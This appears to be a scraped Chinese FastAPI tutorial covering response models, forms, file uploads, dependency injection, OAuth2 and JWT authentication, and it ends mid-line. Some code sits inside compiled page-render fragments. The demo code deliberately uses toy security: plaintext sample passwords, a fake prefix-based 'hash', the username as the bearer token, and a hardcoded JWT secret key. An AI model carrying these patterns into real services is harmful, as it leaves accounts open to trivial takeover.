class UserBase ( BaseModel) :
+ username: str
+ email: EmailStr
+ mobile: str = "10086"
+ address: str = None
+ full_name: Optional[ str ] = None
+
+class UserIn ( UserBase) :
+ """用于创建 User 对象
+ 用户创建时需要给出 password
+ 但是访问用户时不应当返回 password
+ """
+ password: str
+
+class UserOut ( UserBase) :
+ pass
+
+users = {
+ "user01" : { "username" : "user01" , "password" : "123123" , "email" : "user01@example.com" } ,
+ "user02" : { "username" : "user02" , "password" : "123456" , "email" : "user02@example.com" , "mobile" : "110" }
+}
+
+
+@app04. post ( "/response_model/" , response_model= UserOut, response_model_exclude_unset= True )
+async def response_model ( user: UserIn) :
+ """
+ response_model_exclude_unset=True 表示默认值不包含在响应中, 仅包含实际给的值,
+ 如果实际给的值与默认值相同也会包含在响应中
+ """
+ print ( user. password)
+
+ return users[ "user02" ]
+
@app04. post (
+ "/response_model/attributes" ,
+
+
+ response_model= List[ UserOut] ,
+
+
+ response_model_include= [ "username" , "email" ] ,
+ response_model_exclude= [ "mobile" ]
+)
+async def response_model_attributes ( user: UserIn) :
+ """response_model_include列出需要在返回结果中包含的字段
+ response_model_exclude列出需要在返回结果中排除的字段
+ """
+
+
+ return [ user, user]
+
响应模型可以使用单个响应模型类, 也可以使用模型类并集, 模型类列表;
响应模型亦可以进行特定字段的选取与排除
复杂类型响应 比如这种响应:
首先这是从数据库中获取到的数据加上一些修饰得到的
实现这种需求的两种方式:
直接搓 JSON
+from fastapi. encoders import jsonable_encoder
+from fastapi. responses import JSONResponse
+
+staffs = crud. read_staff_by_page( db, page, pageSize)
+staffs = list ( jsonable_encoder( staffs) )
+return JSONResponse( content= {
+ "code" : 0 ,
+ "message" : "ok" ,
+ "result" : {
+ "items" : staffs,
+ "total" : len ( staffs)
+ } ,
+ "type" : "success"
+} )
+
封装 schema 先用 pydantic.BaseModel
和 staff schema
封装一个响应模型类
+default_staff = {
+ "sid" : 0 ,
+ "sname" : "咸鱼型233" ,
+ "did" : 0
+}
+
+class ResultSchema ( BaseModel) :
+ """结果类"""
+ items: List[ Staff] = [ Staff( ** default_staff) ]
+ total: int = len ( items)
+
+
+class StaffListGetResultModel ( BaseModel) :
+ """员工列表获取结果类
+ :param items: 员工列表; 默认值: [default_staff]
+ :param total: 员工总数; 默认值: 1
+ """
+ code: int = 0
+ message: str = "ok"
+ result: ResultSchema = ResultSchema( ** default_staff)
+ type : str = "success"
+
然后再返回需要从数据库中读取的数据以及默认值:
+@router. get (
+ "/getStaffByPage/" ,
+ summary= "分页按条目获取员工信息" ,
+ response_model= schema. StaffListGetResultModel,
+ response_model_exclude_unset= False ,
+)
+async def get_staff_by_page (
+ page: int = 1 ,
+ pageSize: int = 10 ,
+ db: Session = Depends( get_db) ,
+) :
+ """分页按条目获取员工信息
+ :param page: 页码
+ :param pageSize: 页大小
+ :param db: 数据库连接
+ :param response_model: 返回结果类型: schema.StaffListGetResultModel
+ :param response_model_exclude_unset: 是否排除未设置的字段, 表示默认值不包含在响应中, 仅包含实际给的值,
+ 如果实际给的值与默认值相同也会包含在响应中
+ """
+ staffs = crud. read_staff_by_page( db, page, pageSize)
+ return {
+ "result" : {
+ "items" : staffs,
+ "total" : len ( staffs)
+ } ,
+ }
+
响应状态码 在路由中通过 status_code
进行指定, 其值为整型, 可以通过 status.HTTP_xx_xx
获得名称上的提示
@app04. post ( "/status_code" , status_code= 200 )
+async def status_code ( ) :
+ """返回status_code: 200"""
+ return { "status_code" : 200 }
+
+
+@app04. post ( "/status_attribute" , status_code= status. HTTP_200_OK)
+async def status_attribute ( ) :
+ """返回 status.HTTP_200_OK
+ """
+ print ( type ( status. HTTP_200_OK) )
+ return { "status_code" : status. HTTP_200_OK}
+
表单数据处理 引入 fastapi.Form
用于处理表单数据
+
+@app04. post ( "/login/" )
+async def login ( username: str = Form( . . . ) , password: str = Form( . . . ) ) :
+ """
+ Form(...) 表示参数为必填项
+ 用Form类需要pip install python-multipart;
+ Form类的元数据和校验方法类似Body/Query/Path/Cookie
+ """
+ return { "username" : username}
+
文件上传及参数详解 引入 fastapi.File & UploadFile
, 路由函数参数中使用 File
和 UploadFile
来注解参数
"""Request Files 单文件、多文件上传及参数详解"""
+
+
+
+
+
+@app04. post ( "/file" )
+async def file_ ( file : bytes = File( . . . ) ) :
+ """
+ 如果要上传多个文件 files: List[bytes] = File(...)
+ 使用File类 文件内容会以bytes的形式读入内存
+ 适合于上传小文件
+ """
+ return { "file_size" : len ( file ) }
+
+
+@app04. post ( "/upload_files" )
+async def upload_files ( files: List[ UploadFile] = File( . . . ) ) :
+ """
+ 如果要上传单个文件 file: UploadFile = File(...)
+ 使用 UploadFile 类的优势:
+ 1.文件存储在内存中,使用的内存达到阈值后,将被保存在磁盘中
+ 2.适合于图片、视频大文件
+ 3.可以获取上传的文件的元数据,如文件名,创建时间等
+ 4.有文件对象的异步接口
+ 5.上传的文件是Python文件对象, 可以使用write(), read(), seek(), close()操作
+ """
+ for file in files:
+ contents = await file . read( )
+ print ( contents)
+ return { "filename" : files[ 0 ] . filename, "content_type" : files[ 0 ] . content_type}
+
静态文件的配置 静态文件一般放在 static
文件夹中, 需要在 main app
(而非 APIRouter
分路由) 中进行挂载方可使用
import os
+
+app = FastAPI(
+ title= 'FastAPI Tutorial and Coronavirus Tracker API Docs' ,
+ description= 'FastAPI教程 \\
+ 新冠病毒疫情跟踪器API接口文档, \\
+ 项目代码: https: // github. com/ liaogx/ fastapi- tutorial',
+ version= '1.0.0' ,
+ docs_url= '/docs' ,
+ redoc_url= '/redocs' ,
+)
+
+
+
+static_path = os. path. abspath( os. path. join( os. path. dirname( __file__) , './coronavirus/static' ) )
+app. mount( path= '/static' , app= StaticFiles( directory= static_path) , name= 'static' )
+
路径操作配置 """Path Operation Configuration 路径操作配置"""
+
+
+@app04. post (
+ "/path_operation_configuration" ,
+ response_model= UserOut,
+
+ summary= "This is summary" ,
+ description= "This is description" ,
+ response_description= "This is response description" ,
+
+ status_code= status. HTTP_200_OK
+)
+async def path_operation_configuration ( user: UserIn) :
+ """
+ Path Operation Configuration 路径操作配置
+ :param user: 用户信息
+ :return: 返回结果
+ """
+ return user. dict ( )
+
FastAPI 配置项
+app = FastAPI(
+
+ title= 'FastAPI Tutorial and Coronavirus Tracker API Docs' ,
+
+ description= 'FastAPI教程 \\
+ 新冠病毒疫情跟踪器API接口文档, \\
+ 项目代码: https: // github. com/ liaogx/ fastapi- tutorial',
+
+ version= '1.0.0' ,
+
+ docs_url= '/docs' ,
+
+ redoc_url= '/redocs' ,
+)
+
错误处理 引入 fastapi.HTTPException
后在路由函数中进行使用
+
+
+
+@app04. get ( "/http_exception" )
+async def http_exception ( city: str ) :
+ """默认的异常处理测试
+ :param city: 城市名称
+ :return: 返回城市名称
+ 若 city 不是 Beijing 则抛出 404 错误
+ """
+ if city != "Beijing" :
+ raise HTTPException( status_code= 404 , detail= "City not found!" , headers= { "X-Error" : "Error" } )
+ return { "city" : city}
+
自定义异常处理 在 main app
中进行异常处理的重写
from fastapi. exceptions import RequestValidationError
+from fastapi. responses import PlainTextResponse
+from starlette. exceptions import HTTPException as StarletteHTTPException
+
+
+@app. exception_handler ( StarletteHTTPException)
+async def http_exception_handler ( request, exc) :
+ """
+ 使用文本形式返回异常信息
+ :param request: request 请求 (这个参数不能省)
+ :param exc: 错误
+ :return:
+ """
+ return PlainTextResponse( str ( exc. detail) , status_code= exc. status_code)
+
+
+@app. exception_handler ( RequestValidationError)
+async def validation_exception_handler ( request, exc) :
+ """
+ :param request: 这个参数不能省
+ :param exc:
+ :return:
+ """
+ return PlainTextResponse( str ( exc) , status_code= 400 )
+
重写前HTTP异常:
重写后HTTP异常:
重写前请求异常:
重写后请求异常:
依赖注入 "依赖注入" 是指在编程中, 为保证代码成功运行, 先导入或声明其所需要的 "依赖", 如子函数, 数据库连接等
提高代码的复用率 共享数据库的链接 增强安全, 认证和角色管理 FastAPI 的兼容性
所有的关系型数据库,支撑NoSQL数据库 第三方的包和API 认证和授权系统 响应数据注入系统 创建, 导入和声明依赖 将函数作为依赖进行注入操作(query)
from fastapi import (
+ Depends,
+)
+
+
+
+
+async def common_parameters ( q: Optional[ str ] = None , page: int = 1 , limit: int = 100 ) :
+ """公共函数测试"""
+ return { "q" : q, "page" : page, "limit" : limit}
+
+
+@app05. get ( "/dependency01" )
+async def dependency01 ( commons: dict = Depends( common_parameters) ) :
+ """使用 Depends 进行依赖注入
+ """
+ return commons
+
+
+@app05. get ( "/dependency02" )
+def dependency02 ( commons: dict = Depends( common_parameters) ) :
+ """可以在async def中调用def依赖
+ 也可以在def中导入async def依赖
+ """
+ return commons
+
类作为依赖项
+fake_items_db = [ { "item_name" : "Foo" } , { "item_name" : "Bar" } , { "item_name" : "Baz" } ]
+
+
+class CommonQueryParams :
+ def __init__ ( self, q: Optional[ str ] = None , page: int = 1 , limit: int = 100 ) :
+ self. q = q
+ self. page = page
+ self. limit = limit
+
+
+@app05. get ( "/classes_as_dependencies" )
+
+
+async def classes_as_dependencies ( commons= Depends( CommonQueryParams) ) :
+ """
+ 使用 Depends 创建类作为依赖项
+ """
+ response = { }
+ if commons. q:
+ response. update( { "q" : commons. q} )
+
+ items = fake_items_db[ commons. page - 1 : commons. page + commons. limit]
+ response. update( { "items" : items} )
+ return response
+
+
需要注意的是, 要与 Pydantic 派生类型作为参数相区分, 使用 pydantic.BaseModel
子类作为参数在函数请求体中, 而类作为依赖项进行注入作为 query
参数
子依赖的创建和调用
+
+
+def query ( q: Optional[ str ] = None ) :
+ return q
+
+
+def sub_query ( q: str = Depends( query) , last_query: Optional[ str ] = None ) :
+ if not q:
+ return last_query
+ return q
+
+
+@app05. get ( "/sub_dependency" )
+async def sub_dependency ( final_query: str = Depends( sub_query, use_cache= True ) ) :
+ """use_cache默认是True,
+ 表示当多个依赖有一个共同的子依赖时,
+ 每次request请求只会调用子依赖一次,
+ 多次调用将从缓存中获取
+ """
+ return { "sub_dependency" : final_query}
+
query
是子依赖
路径操作装饰器中导入依赖
+
+
+async def verify_token ( x_token: str = Header( . . . ) ) :
+ """
+ 没有返回值的子依赖
+ """
+ if x_token != "fake-super-secret-token" :
+ raise HTTPException( status_code= 400 , detail= "X-Token header invalid" )
+
+
+async def verify_key ( x_key: str = Header( . . . ) ) :
+ """
+ 有返回值的子依赖,但是返回值不会被调用
+ """
+ if x_key != "fake-super-secret-key" :
+ raise HTTPException( status_code= 400 , detail= "X-Key header invalid" )
+ return x_key
+
+
+@app05. get ( "/dependency_in_path_operation" ,
+ dependencies= [ Depends( verify_token) , Depends( verify_key) ]
+)
+async def dependency_in_path_operation ( ) :
+ return [
+ { "user" : "user01" } ,
+ { "user" : "user02" }
+ ]
+
可以用于校验 key 之类的, 在 Header 中包含 key, 后端路径操作装饰器中导入依赖
FastAPI 框架中全局依赖的使用 假设现在有一个子依赖需要在应用的任何地方使用(或者某个组件内部的所有地方), 那么可以使用全局依赖
在 APIRouter
中使用:
+app05 = APIRouter( dependencies= [ Depends( verify_token) , Depends( verify_key) ] )
+
在 main App
中使用:
+from . chapter05 import verify_token, verify_key
+from fastapi import (
+ FastAPI,
+ Request,
+ Depends
+)
+
+
+app = FastAPI(
+
+ title= 'FastAPI Tutorial and Coronavirus Tracker API Docs' ,
+
+ description= 'FastAPI教程 \\
+ 新冠病毒疫情跟踪器API接口文档, \\
+ 项目代码: https: // github. com/ liaogx/ fastapi- tutorial',
+
+ version= '1.0.0' ,
+
+ docs_url= '/docs' ,
+
+ redoc_url= '/redocs' ,
+ dependencies = [ Depends( verify_token) , Depends( verify_key) ]
+)
+
使用 yield 的依赖和子依赖 yield
关键字在依赖中的使用
`,181),Q=n("p",null,"Python3.6需要pip install async-exit-stack async-generator",-1),j=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"########## Dependencies with yield 带yield的依赖 ##########"),s(`
+
+
+`),n("span",{class:"token comment"},"# 这个需要Python3.7才支持,Python3.6需要pip install async-exit-stack async-generator"),s(`
+`),n("span",{class:"token comment"},"# 以下都是伪代码"),s(`
+
+`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"get_db"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ db `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"db_connection"'),s(`
+ `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token keyword"},"yield"),s(` db
+ `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(`
+ db`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"db_close"'),n("span",{class:"token punctuation"},")"),s(`
+
+
+`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"dependency_a"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ dep_a `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"generate_dep_a()"'),s(`
+ `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token keyword"},"yield"),s(` dep_a
+ `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(`
+ dep_a`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"db_close"'),n("span",{class:"token punctuation"},")"),s(`
+
+
+`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"dependency_b"),n("span",{class:"token punctuation"},"("),s("dep_a"),n("span",{class:"token operator"},"="),s("Depends"),n("span",{class:"token punctuation"},"("),s("dependency_a"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ dep_b `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"generate_dep_b()"'),s(`
+ `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token keyword"},"yield"),s(` dep_b
+ `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(`
+ dep_b`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),s("dep_a"),n("span",{class:"token punctuation"},")"),s(`
+
+
+`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"dependency_c"),n("span",{class:"token punctuation"},"("),s("dep_b"),n("span",{class:"token operator"},"="),s("Depends"),n("span",{class:"token punctuation"},"("),s("dependency_b"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ dep_c `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"generate_dep_c()"'),s(`
+ `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token keyword"},"yield"),s(` dep_c
+ `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(`
+ dep_c`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),s("dep_b"),n("span",{class:"token punctuation"},")"),s(`
+
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),M=e(`实际上使用最多的就是 get_db
:
+from . . database import SessionLocal, engine
+
+
+def get_db ( ) :
+ db = SessionLocal( )
+ try :
+ yield db
+ finally :
+ db. close( )
+
JSON Compatible Encoder `,4),W={href:"https://fastapi.tiangolo.com/zh/tutorial/encoder/",target:"_blank",rel:"noopener noreferrer"},z=e('在某些情况下我们可能需要将数据类型(比如Pydantic model)转换为 JSON 兼容的数据类型(如 dict, list 等等)
例如, 如果我们需要将他存入数据库, FastAPI 提供了 jsonable_encoder()
函数
使用 jsonable_encoder
我们假设当前我们有一个只接受 JSON 兼容数据的数据库 fake_db
.
例如, 它不接受 datetime
对象, 因为这些对象与 JSON 不兼容
所以, datetime
对象必须转化为包含 ISO 格式数据的 str
同样, 这个数据库不会接收到 Pydantic model(带有属性的对象), 只接收 dict
我们可以使用 jsonable_encoder
, 它接收一个对象, 比如 Pydantic model, 并返回一个兼容 JSON 的版本
',9),G=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token keyword"},"from"),s(" datetime "),n("span",{class:"token keyword"},"import"),s(` datetime
+`),n("span",{class:"token keyword"},"from"),s(" typing "),n("span",{class:"token keyword"},"import"),s(` Optional
+
+`),n("span",{class:"token keyword"},"from"),s(" fastapi "),n("span",{class:"token keyword"},"import"),s(` FastAPI
+`),n("span",{class:"token keyword"},"from"),s(" fastapi"),n("span",{class:"token punctuation"},"."),s("encoders "),n("span",{class:"token keyword"},"import"),s(` jsonable_encoder
+`),n("span",{class:"token keyword"},"from"),s(" pydantic "),n("span",{class:"token keyword"},"import"),s(` BaseModel
+
+fake_db `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token punctuation"},"{"),n("span",{class:"token punctuation"},"}"),s(`
+
+
+`),n("span",{class:"token keyword"},"class"),s(),n("span",{class:"token class-name"},"Item"),n("span",{class:"token punctuation"},"("),s("BaseModel"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ title`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(`
+ timestamp`),n("span",{class:"token punctuation"},":"),s(` datetime
+ description`),n("span",{class:"token punctuation"},":"),s(" Optional"),n("span",{class:"token punctuation"},"["),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},"]"),s(),n("span",{class:"token operator"},"="),s(),n("span",{class:"token boolean"},"None"),s(`
+
+
+app `),n("span",{class:"token operator"},"="),s(" FastAPI"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(`
+
+
+`),n("span",{class:"token decorator annotation punctuation"},[s("@app"),n("span",{class:"token punctuation"},"."),s("put")]),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"/items/{id}"'),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"update_item"),n("span",{class:"token punctuation"},"("),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},","),s(" item"),n("span",{class:"token punctuation"},":"),s(" Item"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ json_compatible_item_data `),n("span",{class:"token operator"},"="),s(" jsonable_encoder"),n("span",{class:"token punctuation"},"("),s("item"),n("span",{class:"token punctuation"},")"),s(`
+ fake_db`),n("span",{class:"token punctuation"},"["),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},"]"),s(),n("span",{class:"token operator"},"="),s(` json_compatible_item_data
+
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),J=n("p",null,null,-1),K=e(`在这个实例中, 它将 Pydantic 模型转化为 dict, 将 datetime
转化为 str
;
调用它的结果可以用 Python 标准 json.dumps ()
进行编码。
它不返回包含 JSON 格式数据(以字符串形式)的大型 str
。它返回一个 Python 标准数据结构(例如 dict
) ,其值和子值都与 JSON 兼容。
OAuth2.0 的授权模式 授权码授权模式(Authorization Code Grant) 隐式授权模式(Implicit Grant) 密码授权模式(Resource Owner Password Credentials Grant) 客户端凭证授权模式(Client Credentials Grant) 密码授权模式(Resource Owner Password Credentials Grant)
OAuth2 密码模式和 FastAPI 的 OAuth2PasswordBearer from fastapi. security import (
+ OAuth2PasswordBearer,
+)
+
+
+
+"""
+OAuth2PasswordBearer是接收URL作为参数的一个类:
+客户端会向该URL发送username和password参数, 然后得到一个Token值
+OAuth2PasswordBearer并不会创建相应的URL路径操作,
+只是指明客户端用来请求Token的URL地址
+当请求到来的时候, FastAPI会检查请求的Authorization头信息,
+如果没有找到Authorization头信息,或者头信息的内容不是Bearer token,
+它会返回401状态码(UNAUTHORIZED)
+"""
+
+
+oauth2_schema = OAuth2PasswordBearer( tokenUrl= "/chapter06/token" )
+
+
+@app06. get ( "/oauth2_password_bearer" )
+async def oauth2_password_bearer ( token: str = Depends( oauth2_schema) ) :
+ return { "token" : token}
+
基于 Password 和 Bearer token 的 OAuth2 认证
+
+
+fake_users_db = {
+ "john snow" : {
+ "username" : "john snow" ,
+ "full_name" : "John Snow" ,
+ "email" : "johnsnow@example.com" ,
+ "hashed_password" : "fakehashedsecret" ,
+ "disabled" : False ,
+ } ,
+ "alice" : {
+ "username" : "alice" ,
+ "full_name" : "Alice Wonderson" ,
+ "email" : "alice@example.com" ,
+ "hashed_password" : "fakehashedsecret2" ,
+ "disabled" : True ,
+ } ,
+}
+
+
+def fake_hash_password ( password: str ) :
+ """对密码进行加密"""
+ return "fakehashed" + password
+
+
+class User ( BaseModel) :
+ """用户信息schema"""
+ username: str
+ email: Optional[ str ] = None
+ full_name: Optional[ str ] = None
+ disabled: Optional[ bool ] = None
+
+
+class UserInDB ( User) :
+ hashed_password: str
+
+
+@app06. post ( "/token" )
+async def login ( form_data: OAuth2PasswordRequestForm = Depends( ) ) :
+ """登录操作
+ 密码加密使用前缀字符串的形式
+ token使用username
+ """
+ user_dict = fake_users_db. get( form_data. username)
+ if not user_dict:
+ raise HTTPException( status_code= status. HTTP_400_BAD_REQUEST, detail= "Incorrect username or password-用户不存在" )
+ user = UserInDB( ** user_dict)
+ hashed_password = fake_hash_password( form_data. password)
+ if not hashed_password == user. hashed_password:
+ print ( hashed_password, user. hashed_password)
+ raise HTTPException( status_code= status. HTTP_400_BAD_REQUEST, detail= "Incorrect username or password-密码错误" )
+ return { "access_token" : user. username, "token_type" : "bearer" }
+
+
+def get_user ( db, username: str ) :
+ """获取用户信息"""
+ if username in db:
+ user_dict = db[ username]
+ return UserInDB( ** user_dict)
+
+
+def fake_decode_token ( token: str ) :
+ """解码token"""
+ user = get_user( fake_users_db, token)
+ return user
+
+
+async def get_current_user ( token: str = Depends( oauth2_schema) ) :
+ user = fake_decode_token( token)
+ if not user:
+ raise HTTPException(
+ status_code= status. HTTP_401_UNAUTHORIZED,
+ detail= "Invalid authentication credentials" ,
+
+ headers= { "WWW-Authenticate" : "Bearer" } ,
+ )
+ return user
+
+
+async def get_current_active_user ( current_user: User = Depends( get_current_user) ) :
+ if current_user. disabled:
+ raise HTTPException( status_code= status. HTTP_400_BAD_REQUEST, detail= "Inactive user" )
+ return current_user
+
+
+@app06. get ( "/users/me" )
+async def read_users_me ( current_user: User = Depends( get_current_active_user) ) :
+ """
+ 活跃用户返回用户信息
+ 不活跃用户返回 Inactive user
+ """
+ return current_user
+
+
login
执行逻辑:
`,16),V=n("p",null,[n("code",null,"read_users_me"),s(" 执行逻辑:")],-1),Y=e('
开发基于 JSON Web Tokens 的认证 ',5),X={href:"https://www.bilibili.com/video/BV1iN411X72b?p=32",target:"_blank",rel:"noopener noreferrer"},Z=e(`
+fake_users_db. update( {
+ "john snow" : {
+ "username" : "john snow" ,
+ "full_name" : "John Snow" ,
+ "email" : "johnsnow@example.com" ,
+ "hashed_password" : "$2b$12$EixZaYVK1fsbw1ZfbX3OXePaWxn96p36WQoeG6Lruj3vjPGga31lW" ,
+ "disabled" : False ,
+ }
+} )
+
+SECRET_KEY = "09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7"
+
+ALGORITHM = "HS256"
+
+ACCESS_TOKEN_EXPIRE_MINUTES = 30
+
+
+
+
+
+
+
+
+
+
+pwd_context = CryptContext(
+ schemes= [ "bcrypt" ] ,
+ deprecated= "auto"
+)
+
+oauth2_schema = OAuth2PasswordBearer( tokenUrl= "/chapter06/jwt/token" )
+
+
+def verity_password ( plain_password: str , hashed_password: str ) :
+ """对密码进行校验"""
+ return pwd_context. verify( plain_password, hashed_password)
+
+
+def jwt_get_user ( db, username: str ) :
+ """获取当前用户并返回解构信息
+ """
+ if username in db:
+ user_dict = db[ username]
+ return UserInDB( ** user_dict)
+
+
+def jwt_authenticate_user ( db, username: str , password: str ) :
+ """
+ 验证用户是否存在以及
+ 验证用户名和密码是否匹配
+ """
+ user = jwt_get_user( db= db, username= username)
+ if not user:
+ return False
+ if not verity_password( plain_password= password, hashed_password= user. hashed_password) :
+ return False
+ return user
+
+
+def create_access_token ( data: dict , expires_delta: Optional[ timedelta] = None ) :
+ """创建token
+ :param data: 包含用户信息的字典
+ :param expires_delta: token 过期时间
+ copy 一份用户信息用户编码
+
+ """
+ to_encode = data. copy( )
+
+ if expires_delta:
+ expire = datetime. utcnow( ) + expires_delta
+ else :
+
+ expire = datetime. utcnow( ) + timedelta( minutes= 15 )
+ to_encode. update( { "exp" : expire} )
+
+ encoded_jwt = jwt. encode(
+ claims= to_encode,
+ key= SECRET_KEY,
+ algorithm= ALGORITHM
+ )
+ return encoded_jwt
+
+
+@app06. post ( "/jwt/token" , response_model= Token)
+async def login_for_access_token ( form_data: OAuth2PasswordRequestForm = Depends( ) ) :
+ """创建并返回 Token
+ :param form_data: 表单数据
+ """
+
+ user = jwt_authenticate_user( db= fake_users_db, username= form_data. username, password= form_data. password)
+
+ if not user:
+ raise HTTPException(
+ status. HTTP_401_UNAUTHORIZED,
+ detail= "Incorrect username or password" ,
+ headers= { "WWW-Authenticate" : "Bearer" } ,
+ )
+
+ access_token_expires = timedelta( minutes= ACCESS_TOKEN_EXPIRE_MINUTES)
+
+ access_token = create_access_token(
+ data= { "sub" : user. username} , expires_delta= access_token_expires
+ )
+ return { "access_token" : access_token, "token_type" : "bearer" }
+
+
+async def jwt_get_current_user ( token: str = Depends( oauth2_schema) ) :
+ """获取当前用户
+ :param token: jwt token
+ """
+
+ credentials_exception = HTTPException(
+ status. HTTP_401_UNAUTHORIZED,
+ detail= "Could not validate credentials" ,
+ headers= { "WWW-Authenticate" : "Bearer" } ,
+ )
+ try :
+
+ payload = jwt. decode( token= token, key= SECRET_KEY, algorithms= [ ALGORITHM] )
+
+ username = payload. get( "sub" )
+
+ if username is None :
+ raise credentials_exception
+
+ except JWTError:
+ raise credentials_exception
+ user = jwt_get_user( db= fake_users_db, username= username)
+ if user is None :
+ raise credentials_exception
+ return user
+
+
+async def jwt_get_current_active_user ( current_user: User = Depends( jwt_get_current_user) ) :
+ """获取活跃用户"""
+ if current_user. disabled:
+ raise HTTPException( status_code= status. HTTP_400_BAD_REQUEST, detail= "Inactive user" )
+ return current_user
+
+
+@app06. get ( "/jwt/users/me" )
+async def jwt_read_users_me ( current_user: User = Depends( jwt_get_current_active_user) ) :
+ """获取当前用户信息"""
+ return current_user
+
+
SQL(Relational) Databases 示例项目结构:
sql_app
__init__.py
crud.py
database.py
main.py
models.py
schemas.py
__init__.py
是个空文件,它只是为了让 Python 识别这是一个 module。
创建 SQLAlchemy `,11),$={href:"https://www.sqlalchemy.org/",target:"_blank",rel:"noopener noreferrer"},nn=e(`首先要装下 SQLAlchemy
库
编辑 database.py
文件
引入 SQLAlchemy 库 from sqlalchemy import create_engine
+from sqlalchemy. ext. declarative import declarative_base
+from sqlalchemy. orm import sessionmaker
+
为 SQLAlchemy 创建 database URL SQLALCHEMY_DATABASE_URL = "sqlite:///E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/ViteLearningBackend.db"
+
+
在本次示例中, 使用 SQLite 作为数据库, 在 E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/
目录下有一个 ViteLearningBackend.db
数据库文件, 因此 URL 最后部分是 E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/ViteLearningBackend.db
如果使用 PostgreSQL
的话可以如注释这般使用
使用其他数据库的话把 sqlite
字段相应的换成 MySQL
, mariadb
等即可
创建 SQLAlchemy engine engine = create_engine(
